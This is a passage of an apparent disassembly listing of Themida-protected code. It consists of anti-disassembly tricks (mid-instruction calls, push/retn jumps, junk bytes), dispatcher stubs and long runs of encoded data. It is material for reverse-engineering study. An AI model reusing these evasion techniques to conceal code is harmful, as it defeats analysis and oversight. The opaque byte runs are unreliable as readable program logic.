[esp-4+arg_4], 1Ch inc ecx push ecx retn sub_5BA3E0 endp ; --------------------------------------------------------------------------- dd 0A658525Fh, 6ED36532h ; --------------------------------------------------------------------------- push ecx loc_5BA3F9: ; CODE XREF: Themida_:005BA3A6j sub edi, edi call near ptr loc_5BA40B+2 movsb sar dword ptr [edi+0A6573C5h], cl ror ebp, 1 sbb al, dl loc_5BA40B: ; CODE XREF: Themida_:005BA3FBp call far ptr 0F5Ah:0D18B66D7h mov al, ds:0BA000000h test al, ah lodsb push eax lea ebx, [ebp+7FD7133h] push 0 push ebx call sub_5BA42D and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5BA42D proc near ; CODE XREF: Themida_:005BA425p arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 19h inc ebx push ebx retn sub_5BA42D endp ; --------------------------------------------------------------------------- aam 0A7h push es aad 5Ah retn 8160h ; --------------------------------------------------------------------------- db 0E3h, 6Ch, 0B2h ; --------------------------------------------------------------------------- xor al, 6Ah jmp loc_5BA463 ; --------------------------------------------------------------------------- db 0AAh dd 6DBAD566h, 0DD6BF4Eh, 0A048B20Dh, 62F0ABB8h db 8Ch, 0BAh, 5Eh ; --------------------------------------------------------------------------- loc_5BA463: ; CODE XREF: Themida_:005BA44Aj popa xchg eax, ebx push eax mov si, 2879h xchg eax, ebx push 0 push edi call sub_5BA476 and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5BA476 proc near ; CODE XREF: Themida_:005BA46Ep arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 17h inc edi push edi retn sub_5BA476 endp ; --------------------------------------------------------------------------- dw 0CA03h dd 0D58AE555h, 35FF64h, 66000000h, 8964C88Bh, 25h, 17BE6600h dd 6AC48B7Ah, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 14042444h, 47000000h, 0CDF3C357h, 0E900EB01h, 0Fh, 8E698402h dd 1E7A8D5Ah, 0E14228F9h, 0F05D553h, 8F64CBBFh, 5, 56006A00h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1B04h, 0C3564600h dd 6BE1EA5Bh, 0F1B56B02h, 0E804C483h, 13h, 6FB986B5h, 0FC284368h dd 63F17C8Dh, 592F1FCFh, 0E9354969h, 11h, 0B8538E00h, 58785864h dd 2ED1ED2Ch, 0B866D76Fh, 0C00B5E81h, 5C840Fh, 0B70F0000h dd 810F61CAh, 10h, 0BE9h, 92438A00h, 49D4035Bh, 608FED0Ah dd 72FBBD8Dh, 0F18007FAh, 1B865h, 0FFF50000h, 6E9E7h, 0C9F90000h dd 95474C76h, 245C8B57h, 0B8838B10h, 0F000000h, 0FE0140B6h dd 0B08389C8h, 83000000h, 0B883h, 335F0200h, 60F9C3C0h ; --------------------------------------------------------------------------- cld popa loc_5BA59A: ; CODE XREF: Themida_:005BA310j ; Themida_:005BA38Aj ... popa sbb ecx, 6F20668Dh stc mov eax, eax push 0 push edi call sub_5BA5AF and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5BA5AF proc near ; CODE XREF: Themida_:005BA5A7p arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 1Ch inc edi push edi retn sub_5BA5AF endp ; --------------------------------------------------------------------------- db 3Bh dd 0BE7DF403h, 1DB6E394h, 0DD4DC981h, 0BD8326E6h, 7FA2ACDh dd 83097500h, 0FA1899BDh, 19740007h, 0C08B5350h, 40EB8h dd 81858900h, 8D07FA15h, 0FCE28B9Dh, 5BD3FF07h, 99BD8358h dd 7FA18h, 53501774h, 40EB8h, 81858900h, 8D07FA15h, 0FCDF2C9Dh dd 5BD3FF07h, 0F38B6658h, 0A7FDD981h, 0AE94223h, 8F000000h dd 78D56CD8h, 0BFC2182Fh, 6AC08B3Ah, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 19042444h, 47000000h, 5D43C357h dd 362178F7h, 12E9h, 1778300h, 66353047h, 0A29BFCEEh, 257DA5BDh dd 8B094D0Bh, 8EBC2h, 0 dd 0E9000000h, 7Bh, 10F5260h, 5AFE244Ch, 8B24C283h, 0FA33ED85h dd 7E858D07h, 8B07FDBDh, 888B08h, 8B000010h, 4A8B660Ah dd 328D89FCh, 8307FD72h, 0FA1CC5BDh, 840F0007h, 0Fh, 0FF006A60h dd 0FA101995h, 0C4E96107h, 66FFFFFFh, 0C1FC7289h, 896610CEh dd 0CD520272h, 85895A04h, 7FD722Eh, 7232B58Bh, 0CEC107FDh dd 72896610h, 32B58B02h, 6607FD72h, 61FC7289h, 722E858Bh dd 8DC307FDh, 0FA08D595h, 0D1958907h, 8907FA17h, 0FA161595h dd 1585FF07h, 0C607FA16h, 0FA066585h, 0D8685307h, 0FFFCB148h dd 0FA08A5B5h, 0E2858D07h, 0FF07FA3Ah, 198589D0h, 8D07FA10h dd 0FD6A6485h, 41858907h, 0E907FA15h, 51h, 24748B60h, 3C760324h dd 28247C8Bh, 0C281D68Bh, 0F8h, 64E8B66h, 83C9B70Fh, 840F00F9h dd 16h, 0F0C7A3Bh, 158Fh, 28EA8300h, 8B0C428Bh, 0C12B144Ah dd 7C89F82Bh, 0C2611C24h, 0C2830008h, 850F4928h, 0FFFFFFCFh dd 0FFFFE9E9h, 0FD3EBAFFh, 0EB0009h, 593E9h, 587E900h dd 26680000h, 0E907FD74h, 0FFFD0B88h, 0FD753468h, 0B7EE907h dd 0CA68FFFDh, 0E907FD75h, 0FFFD0B74h, 0FD76A368h, 0B6AE907h dd 9A68FFFDh, 0E907FD77h, 0FFFD0B60h, 8CC2DC3Ah, 356B33DFh dd 0DB118D88h, 87BDE12Eh, 316737DAh, 0B25F48FDh, 0B09B6ECh dd 60B05D93h, 0B85B083Eh, 89E1B0E6h, 0E3F60A6Dh, 1BD23807h dd 0E68379E0h, 83197CFFh, 0A3F8FFE6h, 7DA6316Dh, 0BC3B7903h dd 0FDA3674Fh, 0E7602589h, 60BF26FFh, 5CC2FFE7h, 3BFFE760h dd 0CD732BE6h, 0E75FF259h, 0DF81087Fh, 841AFA4Fh, 922AD0F9h dd 0E18FBC76h, 0C151AA87h, 0C4FAA46Ch, 1AA5F917h, 48D88801h dd 0DBA6E22Ch, 0E9A7008Fh, 19991B2Ch, 1125C4FFh, 0CD000004h dd 721F5549h, 1BC8FEA0h, 0C16EA4FAh, 6D1A504Eh, 90C4FAA4h dd 811DF4DBh, 28769E4Bh, 0D3CB45F2h, 7B23F09Dh, 21E7645h dd 7E3F79Fh, 0A7A85FC5h, 7BA7326Ch, 0FFE68315h, 0EFD38D0Eh dd 97447A24h, 3297227Ch, 1632BDE1h, 0F728ECEh, 35FFE683h dd 0FBB536DCh, 6539D72Ch, 610112BFh, 4E84EDB1h, 748F467Eh dd 3CD82D38h, 7EDBBC62h, 6C000003h, 0A7326CA7h, 0E683157Bh dd 6638DDFFh, 39B76DBh, 43FD2678h, 520C3D9Bh, 95E22E83h dd 0E6831679h, 7AE33CFFh, 0B2EC27D4h, 1555AD7Ch, 0A44A54C0h dd 0E683CD30h, 0F9AF3FFh, 19FC66AAh, 68D1FA85h, 108E8532h dd 81E6C85h, 0F42A930Bh, 7D96CC47h, 9722CE5h, 54A7118Fh dd 26B0B17h, 9C021277h, 48BF266h, 0BF55FFE7h, 0C40454DFh dd 4056884h, 0D22BFFE7h, 0E7040366h, 32D831FFh, 18A8B8D1h dd 459BCD8h, 2E87FFE7h, 0F2D4F088h, 2007E124h, 793609C7h dd 0DA159E63h, 3033Bh, 633BDB00h, 0C92802Dh, 0B2EC29D6h dd 5E40CF7Ch, 8967B28h, 2E99ED2h, 0AC598F0Fh, 53003668h dd 0FEABE1BDh, 84538915h, 0F8AD102Ch, 6DD307E3h, 0AB67BCB6h dd 993F68F3h, 0EC7727ECh, 0D0CE479Ch, 8967D2Ah, 0A2FC187Dh dd 7BFAE812h, 1EC0CA3Dh, 9FC63A78h, 0A2FFE6BAh, 0FFE6CA3Bh dd 667E0F05h, 1518A9D0h, 1E73036Ch, 7306ACF2h, 5A44CE23h dd 0ED940B4h, 9AEFFFE7h, 5AF142B5h, 0DA6EE8B6h, 35C52E04h dd 0E128E719h, 0D492EB07h, 9E638975h, 6DFC9BD6h, 71000002h dd 16C3F9A5h, 0BF6CA2FCh, 65124856h, 11BEF4AAh, 34689E00h dd 2579987Fh, 0CCD242EFh, 7727E996h, 1F7F9441h, 0A6C21AE9h dd 7E3F843h, 0A7540B71h, 42A7326Ch, 0DD42CDD1h, 7BE06B33h dd 287A0599h, 419D45FFh, 0A1725610h, 0BFF7C7FDh, 5D38748Fh dd 1F5h, 8379E0EEh, 0CD43FFE6h, 931E8095h, 4E50C56Ah, 0A1319AC3h dd 4ED9C54Ch, 94417F25h, 3297227Ch, 0F030C0DEh, 833194B0h dd 65FFFE6h, 0E683379Ah, 5E045DFFh, 0C47EAFCBh, 386E30E0h dd 9DC54BA0h, 37C22B73h, 6098680Eh, 4738748Fh, 0E5EAA21Dh dd 0B2283EE5h, 768C065Fh, 4324CA15h, 54h, 8E96F3D4h, 21B11A84h dd 0E0981B05h, 514E7807h, 2CD494D4h, 0E0398228h, 637B3122h dd 40DF1A9Eh, 194h, 9CD2CC4Ah, 457B23EFh, 0EB217D98h, 97CDD13Eh dd 417727EAh, 0A26F580Dh, 0FB19C6FCh, 50C06DA3h, 0A86B184Eh dd 99F1C0F6h, 0E3F91A7Dh, 2BE24807h, 0ADED2D85h, 0E6832E91h dd 55FB54FFh, 0E68386E1h, 0B9329CFFh, 0EDACFC74h, 0DD079700h dd 771D26DAh, 0EB26BAD0h, 8B8B469h, 166F99Fh, 0C1598F0Fh dd 6FFAA46Ch, 2A930B0Ah, 623CD784h, 96CCBED7h, 415DB360h dd 0E9B55E0Bh, 831BF95Eh, 0A267E4Dh, 0FFE6B2A7h, 84E974CDh dd 76D70D91h, 95BF4F19h, 98B8F875h, 46A9C52Ch, 6CFFE726h dd 0A430AA13h, 2CAE7C8h, 80E5781Eh, 5FD30995h, 0FFE6FBF8h dd 55E57B0Eh, 0E12DAF39h, 749E3307h, 0D769F2Ah, 0B4EA287Dh dd 5D41D17Eh, 0FBA36DD2h, 95090B70h, 2E70A50Ah, 3AFF8AA3h dd 0E0CCBB1Eh, 0C054E907h, 7C0C75DEh, 0DAF36A60h, 611F780Fh dd 9999B6CCh, 9D75144Fh, 41000000h, 0E693C9D5h, 8F3C722Ch dd 35E21886h, 0E18EC4DAh, 4386E30h, 0F5A9684Fh, 9C0212BFh dd 4757B966h, 0EFAF6411h, 7692EAB9h, 7E3FA13h, 0A724DB41h dd 42A7326Ch, 2642CDD1h, 0BC573BF5h, 0A4DCACE2h, 8B38748Fh dd 0F35BB061h, 7A95017Dh, 7709924h, 238061h, 0DB300000h dd 7BE643Ah, 0E6837AE0h, 0CFCF44FFh, 5AA2153Fh, 0CF037BE5h dd 0FE53EB29h, 0FBE28816h, 14h, 8379E094h, 2E58FFE6h, 642149DEh dd 6512B8C9h, 3BAF0AEh, 9F764E6h, 0AF000000h, 5CE7B75Ah dd 95F48D33h, 0A42F6FA7h, 3FCAD43Fh, 0DD6836DAh, 77029C78h dd 149FFF12h, 0B13C62AFh, 50DBC34Ch, 0E9742AEBh, 85108E84h dd 0E2895252h, 58F5BD55h, 814D1C5Dh, 5D58F0EDh, 5DEA011Ch dd 8704EA83h, 685C2414h, 5C61h, 68243C89h, 387h, 68242C89h dd 7FD7393h, 83243C8Bh, 256804C4h, 89000032h, 4832424h dd 525D0424h, 89F98951h, 558959CAh, 2C8B5A08h, 0E1895124h dd 4C181h, 0C1810000h, 4, 5C240C87h, 53243C8Bh, 0C381E389h dd 4, 4C381h, 1C870000h, 19E95C24h, 6DFFFD06h, 59926900h dd 0F31C3436h, 0EA7025E0h, 785CB8A8h, 0C50307FDh, 20EBD18Bh dd 8 dup(0) ; --------------------------------------------------------------------------- jmp loc_5BB2A5 ; --------------------------------------------------------------------------- jmp loc_5BB29E ; --------------------------------------------------------------------------- push 7FD7ABAh jmp loc_58B334 ; --------------------------------------------------------------------------- push 7FD7B58h jmp loc_58B334 ; --------------------------------------------------------------------------- push 7FD7D1Ch jmp loc_58B334 ; --------------------------------------------------------------------------- push 7FD7D85h jmp loc_58B334 ; --------------------------------------------------------------------------- dw 2AECh dd 81913E74h, 0DB3AE71Dh, 2FE08DC3h, 858C396Fh, 0FAAFE319h dd 689E0011h, 0F4559BBh, 0BAF0AE62h, 6298060Dh, 0BC1F3B93h dd 0EA07E3FCh, 6EA7CD84h, 1279A530h, 1C7FE683h, 40995A84h dd 0E9F295DCh, 4D750A6Fh, 0FB56361h, 95CDD48Eh, 33B87565h dd 3Ah, 2487A3E3h, 527FE74Dh, 0E09C53F9h, 0FFE6837Ah, 0D767F990h dd 830E9082h, 3F5FB55Ah, 8DE50199h, 0B907E3FCh, 977BD060h dd 0AD537C07h, 2C886Fh, 0EB400000h, 0C4ED7826h, 79E0671Eh dd 58FFE683h, 0E68C1203h, 0E0350485h, 0B6DF6A34h, 0E682E74Ah dd 4BB40DFFh, 0FC479FBBh, 65F07E3h, 6EA719D0h, 2B55A530h dd 0F19B9758h, 2B9F4564h, 7FE75EC3h, 1E59FE0h, 0F3548A14h dd 1834C49Ch, 7FE5B7B1h, 96FB86DFh, 8AEB217Dh, 0DEFA3AFFh dd 7FE5B77Bh, 81E450A9h, 0AF7FE5B7h, 335DED56h, 30585C15h dd 46DE84D7h, 260B106h, 8127900Eh, 0E004930Dh, 46D62F87h dd 187EA06h, 425E77ECh, 77EC01DFh, 16BAC05h, 72EFA6ACh dd 0B75DC60Ah, 391F824h, 1A9B77ECh, 0B215960h, 89BFB07Ah dd 50000000h, 87A396F3h, 0FFE68324h, 0C154F952h, 0C02952DDh dd 0F5E81430h, 9DF607E3h, 435BB80Dh, 9BC5059Dh, 5CCCCD89h dd 5D0AB0E9h, 358E8B6h, 0AAE88E10h, 0CA8816FDh, 9E6489CBh dd 34AE924h, 61000003h, 6B3E9B5h, 0AF5C920Ch, 55023866h dd 1AEE4BAh, 24588E10h, 1589886Fh, 0BCE232DFh, 6737D986h dd 0F8F8431h, 96B20AD9h, 7E3FD33h, 0BC44FB61h, 69F4AA67h dd 7920C04h, 0C8FB75DEh, 7E570B16h, 0BB1E05ABh, 0B7000002h dd 0A5306EA7h, 0E6831279h, 842E15FFh, 0CD31FFE6h, 0CEFFE683h dd 0FFE68367h, 0E683036Ah, 839F06FFh, 0D4B5BFE6h, 72DBC350h dd 0A802C6E2h, 0D32CC7E3h, 71A3F848h, 0A787EA06h, 54ADC7E3h dd 0A5E445EBh, 0C50F2BBBh, 0E1CFDDD8h, 0C331CA88h, 0DF1A599Eh dd 26540h, 8717FF00h, 306EA451h, 0D6C84DFAh, 821CF3A0h dd 2C729F4Ch, 260DC2F6h, 0D07DB3EBh, 77245A44h, 22CF0599h dd 0A877ADF1h, 0FED13450h, 99FF07E3h, 0D192BCE2h, 264214E4h dd 5DE8B65Ah, 7825CB34h, 1E73039Bh, 906ABF3h, 3BE10A95h dd 66FA8FA8h, 9846BAD6h, 379007E4h, 0DDC15401h, 831BFAA7h dd 0B6AADFF8h, 67CAE626h, 8D07E467h, 0DAF68E34h, 0FE1E06Eh dd 4730E378h, 0E71FC82Bh, 2C95EEFFh, 0C9F333C3h, 7FC75084h dd 467D346h, 32FFE73Fh, 5DF533D9h, 0E8EFA533h, 58B980A1h dd 2992BB46h, 7A1A7D99h, 0EF48FFE7h, 7A6ED549h, 584FFE7h dd 368BCB5Bh, 1039C4DAh, 0E77A41A4h, 9C166FFFh, 880146BEh dd 9E36DC56h, 0E4C81282h, 0EB7BD407h, 0EB217D96h, 39C9D53Eh dd 0C86E30E4h, 37B20935h, 0C1C807E4h, 7ACF0F9Fh, 0EB5F0599h dd 0FE1B08Fh, 79CE5EB7h, 21CE049Ah, 0F521ACF2h, 0FFE7509Eh dd 9E011D5Dh, 0C4FFE750h, 2564C56Bh, 0BD56AB3Bh, 87A33BE1h dd 7E4C91Bh, 85DA6AC3h, 2DDA108Eh, 0FE28B8E6h, 0ECE6F7A3h dd 79A4059h, 35C59BEEh, 0E1CCC119h, 18CE50Fh, 0E72C6ED5h dd 0A0E078FFh, 0E72C2184h, 50F64FFFh, 0D60E15CFh, 74387537h dd 0Ch, 0A079E005h, 709FFE6h, 0A2000000h, 0E69D79E0h, 7CBC39FFh dd 0E682FD60h, 24CA23FFh, 0A9AC6C3h, 0B6E8ACAh, 0D5FFE683h dd 0ADD6613Dh, 0EF99136Ch, 5FCB3212h, 9105791Fh, 3D07E4D2h dd 12FF54E4h, 30E64965h, 0B30C07E4h, 0F811A44Ah, 233FCF91h dd 0FDE601Dh, 8CEB257Ah, 0EE030D70h, 71DA33FFh, 0CE17BDE6h dd 56CAB775h, 0C2FD999Eh, 0A123h, 4B53C300h, 0F4AA6815h dd 9A0411BEh, 4658B764h, 0F0AE6310h, 0EAD186BAh, 94417727h dd 3BE81E80h, 0E693C9D5h, 6C3B712Dh, 95F814h, 55BB07E4h dd 0CA96F39Eh, 6CA5FA3Ah, 3B57A732h, 0FFE683D8h, 963CA5FEh dd 0E3FCAE22h, 4FDF3807h, 0FD8816FAh, 829B2ED4h, 0ADC95907h dd 0FDE1CF3h, 0D7B876CFh, 0F4999E8Fh, 381AB9h, 0EA2C0000h dd 41D17EB4h, 9B7A275Dh, 0EF20CD03h, 45CC79AFh, 3AEF2359h dd 0A8DEC051h, 4F8519FBh, 0FA306EA2h, 0A2D8C64Dh, 0FC5F7BD3h dd 2A07E3FFh, 36D0DC4h, 6000000h, 6FA75CBBh, 0D43FA42Fh dd 36DA3FCAh, 9C78DD68h, 0FF127702h, 62AF149Fh, 0C34CB13Ch dd 2AEB50DBh, 8E84E974h, 52528510h, 0C281E289h, 4, 4EA81h dd 14870000h, 4895C24h, 0E6895624h, 4C681h, 0EE810000h dd 4, 5C243487h, 68243489h, 12CFh, 0BE240489h, 368B253Ch dd 6185EE81h, 0B95147C6h, 0 ; --------------------------------------------------------------------------- sub ecx, esi mov esi, ecx pop ecx sub esi, 93DC304h push esp mov eax, [esp] add esp, 4 push ebx mov ebx, esi mov [eax+8], ebx mov ebx, [esp] add esp, 4 push dword ptr [esp] pop eax add esp, 4 push dword ptr [esp] pop esi add esp, 4 jmp loc_58B334 ; --------------------------------------------------------------------------- db 0F2h, 0EDh, 7 db 47h, 0E6h ; --------------------------------------------------------------------------- loc_5BB29E: ; CODE XREF: Themida_:005BAD59j mov eax, 7FD7DE2h add eax, ebp loc_5BB2A5: ; CODE XREF: Themida_:005BAD54j mov ecx, eax jmp loc_5BB402 ; --------------------------------------------------------------------------- dd 449BEB92h, 0DA95ECE7h, 6715893h, 0BEB6CFDFh, 365D54FDh dd 0BCECA436h, 0C55DD500h, 0D676D352h, 0FC94A4h, 0C1AEC441h dd 5277CB50h, 9CACAC32h, 6C46BF00h, 7390ADFCh, 0D6A33659h dd 9C72E275h, 0DD0090BDh, 9B8CE693h, 64A592A7h, 92A7ABDDh dd 7A918F97h, 0B9F95CFCh, 9BB1E496h, 9F47E4B5h, 0B6E592B6h dd 9EBDF694h, 96B3EBB5h, 9C93D0ECh, 7B97BF99h, 89F55CFDh dd 0EDAFF493h, 0E3B2CD00h, 0D4E594A6h, 5700C3B5h, 0F3622D44h dd 38AE29B0h, 60000000h, 64000000h, 2 dup(0) dd 4000000h, 94000000h, 5000000h, 1000000h, 28000000h dd 200000Ah, 53000000h, 69767265h, 50206563h, 206B6361h dd 32h, 22h dup(0) db 2 dup(0) ; --------------------------------------------------------------------------- loc_5BB402: ; CODE XREF: Themida_:005BB2A7j jmp loc_5BD2E4 ; --------------------------------------------------------------------------- push 7FD81A8h jmp loc_58B334 ; --------------------------------------------------------------------------- push 7FD827Dh jmp loc_58B334 ; --------------------------------------------------------------------------- push 7FD834Ah jmp loc_58B334 ; --------------------------------------------------------------------------- push 7FD83EFh jmp loc_58B334 ; --------------------------------------------------------------------------- push 7FD84BDh jmp loc_58B334 ; --------------------------------------------------------------------------- push 7FD8589h jmp loc_58B334 ; --------------------------------------------------------------------------- push 7FD8640h jmp loc_58B334 ; --------------------------------------------------------------------------- push 7FD86EEh jmp loc_58B334 ; --------------------------------------------------------------------------- push 7FD8A9Fh jmp loc_58B334 ; --------------------------------------------------------------------------- push 7FD8AF7h jmp loc_58B334 ; --------------------------------------------------------------------------- push 7FD8C37h jmp loc_58B334 ; --------------------------------------------------------------------------- push 7FD8FA0h jmp loc_58B334 ; --------------------------------------------------------------------------- push 7FD934Dh jmp loc_58B334 ; --------------------------------------------------------------------------- push 7FD968Bh jmp loc_58B334 ; --------------------------------------------------------------------------- push 7FD97B5h jmp loc_58B334 ; --------------------------------------------------------------------------- push 7FD982Ch jmp loc_58B334 ; --------------------------------------------------------------------------- push 7FD989Ch jmp loc_58B334 ; --------------------------------------------------------------------------- push 7FD9903h jmp loc_58B334 ; --------------------------------------------------------------------------- push 7FD9A8Bh jmp loc_58B334 ; --------------------------------------------------------------------------- push 7FD9B95h jmp loc_58B334 ; --------------------------------------------------------------------------- push 7FD9D28h jmp loc_58B334 ; --------------------------------------------------------------------------- aas xlat mov dword ptr [ecx+3A702EE4h], 0E016888Dh xor ebx, esp retn 0DF8Ch ; --------------------------------------------------------------------------- dw 6C32h dd 664D0236h, 10BDF3ABh, 0B7649A04h, 620F4559h, 0E8B7EDB1h dd 3117490h, 0D93F07E4h, 0B6CA722h, 0E6838CEFh, 0F861BAFFh dd 6C0B086Dh, 37A3FB17h, 0FFE683D4h, 0A40A902h, 0F080E0A9h dd 0E0AE3AD4h, 840F6807h, 0E0ACF158h, 0C07AFB07h, 6EB581B9h dd 201F40h, 0F3B00000h, 1E3ACA96h, 7E09C50h, 3E6AF54Eh dd 7E09BD7h, 9FA660E1h, 406EA767h, 0CD05h, 6CA79600h, 0CF42A732h dd 34DF44CFh, 997ADF6Ah, 375BCF05h, 0FBFFE687h, 0A3508618h dd 7B23F270h, 26428212h, 0FFE687C3h, 872386A2h, 0F851FFE6h dd 25B85EB7h, 53E37D0Ch, 0E0A89937h, 6FA1F607h, 386AA42Fh dd 0F487B6Bh, 448D339Ch, 845A8C4h, 126B07E1h, 6BF6A86Dh dd 42A3D942h, 49891947h, 3A5621F4h, 7E108D7h, 0B03BA4FDh dd 2A6DE187h, 180FDDEAh, 37DA2FBFh, 8D843167h, 0A81B5311h dd 0C904999Fh, 1C3B2Ah, 0D7C74F00h, 801EF4A1h, 26789D4Ah dd 0D2CC43F0h, 7C22EF9Ch, 765D1246h, 20CD039Bh, 0C774AAF4h dd 721F5549h, 0F8C7FDA1h, 42184A0h, 0E94F07E4h, 346AA732h dd 0A0C251FEh, 759E2975h, 910C6FBh, 74DDF689h, 96F3873Eh dd 2CE53ACAh, 1834CC72h, 7E09C4Ah, 59BCD858h, 8707E09Bh dd 0E3AC52Eh, 7E09BA7h, 6F7630B1h, 406EA737h, 5846C91Eh dd 99D1B2h, 0A7620000h, 57A7326Ch, 0EB910D02h, 40CBD33Eh dd 0E687F014h, 0C5D93AFFh, 6D31E28Fh, 0D23D92E2h, 721841CCh dd 58E87811h, 0E0A89E3Ch, 0ADE33C07h, 93233D4Ch, 0A7D43753h dd 0A90207E0h, 12B6B03h, 0D62300E0h, 10842AD1h, 0FDDAABCh dd 0AC0191EAh, 56033965h, 0FF25E3BBh, 0CC999F58h, 1B66F291h dd 0F2240000h, 49C976ACh, 0A3721F55h, 0F718C5FBh, 4DC471A7h dd 32E71B51h, 0A0D6C849h, 477D21F3h, 0F228769Ah, 9AD0CE45h dd 0F45773CBh, 2207E404h, 6AA705BCh, 0C251FE34h, 0A7EFA6DCh dd 42A7326Ch, 0FF97CDD1h, 0F0A9ADD5h, 0BFD97496h, 8E760276h dd 0E2BB61CAh, 0B76D1CC6h, 4DDD4658h, 0E08E2F31h, 0FD3A9307h dd 0A9F52075h, 435BB91Eh, 55C034DAh, 73C46EF4h, 0A4072316h dd 0D2BB5AEFh, 64801079h, 0C354F7A2h, 91F41090h, 0BFBC74E7h dd 2272FD66h, 0F21E44CDh, 3C9D43ACh, 2E83134Dh, 52EB9E5h dd 26ABC75Fh, 90C46F22h, 4B67A737h, 0BB5AE0E8h, 925B50Eh dd 0BB5AE1A6h, 35CD73CCh, 356B33E0h, 55138B88h, 22ED9111h dd 9918B7F2h, 0F100001Ah, 96437925h, 3FEC227Ch, 0E592C8D6h dd 913E742Ah, 0B4E81E80h, 0A5F918FFh, 4C52C26Fh, 0F7A76916h dd 9FFF14C1h, 26429A69h, 7E406C3h, 0A7D48BF1h, 8EA7326Ch dd 80D565FBh, 0CF670D91h, 0E0B469B3h, 93042E07h, 2D17D621h dd 504EC66Bh, 0ADF69CC5h, 0A26FC454h, 0E14A54C0h, 0C24FD3Bh dd 13FD2762h, 7692228Bh, 0FDB2C74h, 68CC0962h, 0C7988688h dd 0DD6DF396h, 9286FFC1h, 0FF8AE3CFh, 2DBDA3E6h, 2CB18C11h dd 51E13AC8h, 518717FCh, 0DF008FB9h, 76BB343h, 3F5FB461h dd 282D3781h, 3AD9145Eh, 19F4h, 0E81E8096h, 91C7D73Bh dd 376D31E4h, 0E319858Ah, 8DC3DB36h, 56BBA459h, 0AF651248h dd 40CB9EFh, 5CB7649Ah, 0E53D0C42h, 0E40666C9h, 6F268C07h dd 0A2326CA7h, 4ED9C54Dh, 0E7727E9h, 82FF627Eh, 0CC25FFE6h dd 0F7A9326h, 0C3A5C151h, 0EF07E0A3h, 7E876096h, 1BABB5D4h dd 18BCB1DBh, 5B9B43FFh, 355EE9B5h, 0B6E827CCh, 9A9A9C10h dd 0EF480FDAh, 52394EB2h, 3E4B9C8Fh, 0CE732BE6h, 5EEE5747h dd 893B8042h, 42D166A4h, 3FA8D15Ch, 0EB3A64B4h, 393F2ED9h dd 0FD8CED93h, 32B7D363h, 9CA3336Dh, 3373B343h, 8F18B417h dd 0E489E29Ch, 0BCE5702Eh, 0F4AA6916h, 0A5082464h, 0CB9C8F18h dd 0E18ECC72h, 16AE6C32h, 3705315Ah, 19265DFCh, 0B2640000h dd 909B6ECh, 63B25F95h, 0B758053Bh, 0D04B1E7h, 72275B91h dd 0E0168889h, 87BDE133h, 326836DAh, 0DA108E85h, 3497B30Bh dd 6207E407h, 6CA745FCh, 0C64DA232h, 7E244DD8h, 0A9B7D2EBh dd 4F4FC419h, 8340A3BFh, 0D66FFE6h, 81B3CF67h, 6507E0ADh dd 4AFC07FBh, 0EF583904h, 0B5F721B9h, 5A44CD3Eh, 85A531E0h dd 4FF906DFh, 7A96263Ah, 0FDAA478h, 64C8055Eh, 0FD2954E7h dd 0B758CCBDh, 1EF75CE7h, 1EAE1780h, 1E28B4DEh, 726B1E6Bh dd 6C9658CCh, 63BC0523h, 96CABFD8h, 0A765EA06h, 0AB000299h dd 81AA3569h, 0A93992DBh, 78FF1469h, 2955F95Ch, 65CE27FDh dd 5E0BB1DAh, 6B3E9B5h, 0E9D3910Dh, 5264DB1Ch, 185A7817h dd 0E6300000h, 3DD582B8h, 977E2B61h, 0EB24D107h, 41D07DB3h dd 3EF3275Dh, 0ACE2BC55h, 538915FFh, 0FE346AA6h, 0A6DCC251h dd 637FD7h, 2607E408h, 6CA709C0h, 0FB8EA732h, 732BE93Eh dd 0E683A407h, 0D73DD2FFh, 0AA133CC7h, 4771B141h, 0E134531Ch dd 0B8DF43BDh, 23198D33h, 6007E0DAh, 8BA10420h, 76CF07E0h dd 0F82E87D0h, 2C5D071Fh, 8688A434h, 2C0FDA91h, 8C3296D3h dd 2293AF89h, 4D69F967h, 9BA9848Bh, 0B1ED22B7h, 4C52C126h dd 0C62F98C1h, 0F967223Bh, 0AEC84D69h, 9DF69C13h, 435BB80Dh dd 0A34B750Dh, 0BFD8E6E8h, 3AD9862Ch, 0F90AA664h, 0E01B0A51h dd 17A341h, 6F2FE700h, 18868C39h, 0BEE035E2h, 6A34DB88h dd 148A8734h, 0EF5AADEh, 0B8659B03h, 5F0C425Ch, 0AB7EDB1h dd 905F9509h, 9B91C38h, 81E707E4h, 326CA7CAh, 65FB8EA7h dd 264B9D5h, 197207E4h, 0C1DD3489h, 0CF670D36h, 4AC9997Ah dd 37A0C954h, 0A1C152A7h, 769F2A74h, 0B529670Dh, 7E402E2h dd 75ABB5D8h, 0C3534BC8h, 0ED7DAA99h, 19F7EADFh, 9C771C85h dd 0BD1E5C02h, 0E80494CCh, 0FE16393h, 0A8F61D72h, 54EF41Dh dd 0B2DC1CACh, 61CE188Bh, 410B581h, 40E60F9Ah, 0E91F7F93h dd 3DC8D63Ch, 0A5633BD8h, 99993833h, 0F536D510h, 95000016h dd 3AE71D81h, 0E390C6D8h, 89366C32h, 35E21886h, 588CC2DCh dd 4955BCA3h, 0F0AE6613h, 9B030DBAh, 435BB865h, 0CAE63E0Dh dd 7E40967h, 0BC70278Dh, 98F85592h, 0F1DF7h, 2E8F359Eh dd 3575055Bh, 0DBB6980Bh, 42E8E894h, 0E46179CEh, 11FF5407h dd 99EE78Dh, 9B2B940Ah, 41D1CD46h, 0A382E501h, 57B007E3h dd 7B1273B1h, 0E23955E5h, 0F007E3A3h, 7AE00C97h, 8407E3A3h dd 0A424903h, 0A84071ABh, 68h, 8A9AF339h, 5F88138Bh, 1C3C66F6h dd 188A5F5Ah, 0AB8857CDh, 477AF331h, 8EED09A1h, 0ACFFE774h dd 359CC853h, 3FFFE774h, 0C5FD04BEh, 6338757Ch, 34h, 837AE0F4h dd 2F59FFE6h, 1976E633h, 66C76DB4h, 6DAD3D23h, 0E6ACEE51h dd 15BB14FFh, 0CE13617Dh, 0B60F07E0h, 74BCFC26h, 772A23FFh dd 